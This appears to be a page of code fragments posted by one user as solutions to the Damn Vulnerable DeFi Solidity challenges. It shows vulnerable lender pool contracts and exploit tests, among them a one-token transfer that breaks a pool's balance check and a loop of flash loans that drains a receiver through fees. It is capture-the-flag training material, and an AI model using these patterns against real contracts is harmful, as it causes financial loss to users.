JuanXavier

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "../unstoppable/UnstoppableLender.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

contract ReceiverUnstoppable {
    UnstoppableLender private immutable pool;
    address private immutable owner;

JuanXavier

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import '@openzeppelin/contracts/token/ERC20/IERC20.sol';
import '@openzeppelin/contracts/security/ReentrancyGuard.sol';

interface IReceiver {
	function receiveTokens(address tokenAddress, uint256 amount) external;
}

JuanXavier

it('Exploit', async function () {
  await this.token.connect(attacker).transfer(this.pool.address, 1)
  console.log('  POOL BALANCE', String(await this.token.balanceOf(this.pool.address)))
  console.log('BALANCE BEFORE', String(await this.pool.poolBalance()))
})

JuanXavier

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract DamnValuableToken is ERC20 {
    // Decimals are set to 18 by default in `ERC20`
    constructor() ERC20("DamnValuableToken", "DVT") {
        _mint(msg.sender, type(uint256).max);
    }

JuanXavier

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/Address.sol";

contract NaiveReceiverLenderPool is ReentrancyGuard {
    using Address for address;

    uint256 private constant FIXED_FEE = 1 ether; // not the cheapest flash loan

JuanXavier

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/utils/Address.sol";

contract FlashLoanReceiver {
    using Address for address payable;

    address payable private pool;

JuanXavier

it('Exploit', async function () {
  /** CODE YOUR EXPLOIT HERE */
  for (i = 1; i <= 10; i++) {
    await this.pool.connect(attacker).flashLoan(this.receiver.address, 0)
    console.log(i, String(await ethers.provider.getBalance(this.receiver.address)))
  }
}

JuanXavier

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "../naive-receiver/NaiveReceiverLenderPool.sol";

contract NaiveAttacker {
    NaiveReceiverLenderPool public pool;

    constructor(address payable _pool) {
        pool = NaiveReceiverLenderPool(_pool);

JuanXavier

it('Exploit', async function () {
	/** CODE YOUR EXPLOIT HERE */
	// Deploy attacker contract
	const NaiveAttacker = await ethers.getContractFactory('NaiveAttacker', attacker)
	this.attackerContract = await NaiveAttacker.deploy(this.pool.address)

	// Attack
	console.log(
		'Receiver balance before attacking: ',
		String(await ethers.provider.getBalance(this.receiver.address))

JuanXavier

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

contract TrusterLenderPool is ReentrancyGuard {
    using Address for address;